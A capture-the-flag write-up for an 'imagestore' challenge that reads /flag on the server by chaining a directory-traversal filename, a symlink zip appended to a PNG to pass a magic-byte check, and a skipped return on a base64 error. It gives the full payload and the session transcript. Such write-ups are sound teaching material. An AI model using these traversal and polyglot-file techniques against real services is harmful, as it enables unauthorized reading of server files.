Tags: miscellaneous file_path_traversal symlink misc extension zip python magic_byte 

Rating:

We got first blood on this challenge (10 teams solved it in the end), so here's a writeup of how we solved it.
## Prompt
I keep too many photos of pizzas on my computer and my drive is almost full. Unfortunately I can't simply upload them to Google Photos because I don't like public cloud. So I decided to write my own CLI service to store all my images!

Can you read `/flag`?

This is a remote challenge, you can connect to the service with:
`nc imagestore.challs.teamitaly.eu 15000`

Tip: to input a line longer than 4095 characters on your terminal, run `stty -icanon; nc imagestore.challs.teamitaly.eu 15000`.

Author: @napaalm

Attachments:
imagestore.py

## Code Review
We are given a python file which the server is running. A user can choose one of the following options:
- uploading an image
- downloading an image (that you've uploaded earlier)
- deleting an image
- uploading multiple images

There are two interesting functions: `upload_image` and `upload_multiple_images`.
Let's look at `upload_multiple_images` first, because the 'Hacker detected' line stands out.
```python
def upload_multiple_images():
path = "/tmp/images.zip"

encoded_content = input("Base64-encoded zip: ")
try:
with open(path, "wb+") as file:
content = base64.b64decode(encoded_content)
file.write(content)

# mamma mia, we don't want symlinks!
for zipinfo in zipfile.ZipFile(file).infolist():
if zipinfo.external_attr >> 16:
print("Hacker detected!!")
return
except zipfile.BadZipFile:
print("Invalid zipfile!")
return
except binascii.Error:
print("Invalid base64")

if subprocess.run(["unzip", "-o", "-q", path, "-d", IMAGES_PATH]).returncode <= 1:
print("Archive successfully uploaded and extracted")
else:
print("Error while extracting the archive")
```
So we have the option of sending an input. If there's a [symlink](https://en.wikipedia.org/wiki/Symbolic_link) present, 'Hacker detected' is printed and we return, so we can't upload a zip file such as the following to this function:
```
❯ ln -s /flag symlink_to_flag.link
❯ zip --symlink cheeky.zip symlink_to_flag.link
```

Interestingly, when a `binascii.Error` is thrown, we don't return, but continue running the function. This results in an attempt to extract `/tmp/images.zip`. Maybe we can exploit this in some way? Let's look at the other function that's interesting:
```
def upload_image():
name = input("Name for your image: ")

encoded_content = input("Base64-encoded image: ")
try:
content = base64.b64decode(encoded_content)
except binascii.Error:
print("Invalid base64!")
return

if content == b"":
print("Empty file!")
return

if not filetype.is_image(content):
print("Only image files are allowed!")
return

with open(os.path.join(IMAGES_PATH, name), "wb") as file:
file.write(content)
```
Here we see that the filename is vulnerable to a [directory traversal attack](https://en.wikipedia.org/wiki/Directory_traversal_attack). This means that we can also write to `../../../tmp/images.zip`. So maybe we can read the flag by uploading a file to this path, which will then be unzipped when we trigger a `binascii.Error` in the `upload_multiple_images` function?

However, we can't just upload our `cheeky.zip`, because we won't pass the `filetype.is_image` check. What if we just append our `zip` to a `png`? Maybe this will pass the `filetype.is_image` check, but unzip anyway?
```bash
❯ cat cheeky.zip >> pixel.png
```
When we unzip this, it works as we hoped (despite the warning), so it seems like we have all ingredients ready so we can get the flag!
```
❯ unzip pixel.png
Archive: pixel.png
warning [pixel.png]: 70 extra bytes at beginning or within zipfile
(attempting to process anyway)
linking: symlink_to_flag.link -> /flag
finishing deferred symbolic links:
symlink_to_flag.link -> /flag
```

One final complication was the name of the file. When testing locally, we were prompted with:
```
[/tmp/images.zip]
End-of-central-directory signature not found. Either this file is not
a zipfile, or it constitutes one disk of a multi-part archive. In the
latter case the central directory and zipfile comment will be found on
the last disk(s) of this archive.
unzip: cannot find zipfile directory in one of /tmp/images.zip or
/tmp/images.zip.zip, and cannot find /tmp/images.zip.ZIP, period.
Error while extracting the archive
```

So maybe we change `../../../tmp/images.zip` to `../../../tmp/images.zip.zip`? And this worked! We're not sure why this works, so if anyone could enlighten us, we'd be grateful!
Now we are ready to drop our payload remotely.

## Summary Payload Preparation
Create symlink to file.
```bash
❯ ln -s /flag symlink_to_flag.link
```
Check symlink to file:
```bash
❯ ls -lh
lrwxrwxrwx 1 user user 5 Sep 9 00:00 symlink_to_flag.link -> /flag
```
Zip symlink:
```bash
❯ zip --symlink cheeky.zip symlink_to_flag.link
adding: symlink_to_flag.link (stored 0%)
```
[Download](https://onlinepngtools.com/generate-1x1-png) 1-pixel png and save to file:

```bash
❯ echo "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQIW2P4v5ThPwAG7wKklwQ/bwAAAABJRU5ErkJggg==" | base64 -d > pixel.png
```

Append zipfile to png:
```bash
❯ cat cheeky.zip >> pixel.png
```

Get our base64 payload:
```
❯ base64 pixel.png
iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQIW2P4v5ThPwAG7wKklwQ/bwAAAABJRU5ErkJgglBLAwQKAAAAAACzAilVTnsDdQUAAAAFAAAAFAAcAHN5bWxpbmtfdG9fZmxhZy5saW5rVVQJAAPxahpj8WoaY3V4CwABBOgDAAAE6AMAAC9mbGFnUEsBAh4DCgAAAAAAswIpVU57A3UFAAAABQAAABQAGAAAAAAAAAAAAP+hAAAAAHN5bWxpbmtfdG9fZmxhZy5saW5rVVQFAAPxahpjdXgLAAEE6AMAAAToAwAAUEsFBgAAAAABAAEAWgAAAFMAAAAAAA==
```

## Exploit Time
So now everything is ready to read the flag!
Let's connect
```
❯ nc imagestore.challs.teamitaly.eu 15000
```
and upload our payload.
```
1. Upload an image
2. Download an image
3. Delete an image
4. Upload multiple images
5. Exit

Insert your choice
> 1
Name for your image: ../../../tmp/images.zip.zip
Base64-encoded image: iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQIW2P4v5ThPwAG7wKklwQ/bwAAAABJRU5ErkJgglBLAwQKAAAAAACzAilVTnsDdQUAAAAFAAAAFAAcAHN5bWxpbmtfdG9fZmxhZy5saW5rVVQJAAPxahpj8WoaY3V4CwABBOgDAAAE6AMAAC9mbGFnUEsBAh4DCgAAAAAAswIpVU57A3UFAAAABQAAABQAGAAAAAAAAAAAAP+hAAAAAHN5bWxpbmtfdG9fZmxhZy5saW5rVVQFAAPxahpjdXgLAAEE6AMAAAToAwAAUEsFBgAAAAABAAEAWgAAAFMAAAAAAA==
```

We make sure to trigger the `binascii.Error` in `upload_multiple_images`:

```
1. Upload an image
2. Download an image
3. Delete an image
4. Upload multiple images
5. Exit

Insert your choice
> 4
Base64-encoded zip: a
Invalid base64
Archive successfully uploaded and extracted
```

Now we can download our image:

```
1. Upload an image
2. Download an image
3. Delete an image
4. Upload multiple images
5. Exit

Insert your choice
> 2
0. symlink_to_flag.link

Select which image to download
> 0
Here is your image
ZmxhZ3tkMG50X3RydTV0X000Z2ljX0J5dDNzfQ==
```

And we've got the flag!

```bash
❯ echo "ZmxhZ3tkMG50X3RydTV0X000Z2ljX0J5dDNzfQ==" | base64 -d

flag{d0nt_tru5t_M4gic_Byt3s}
```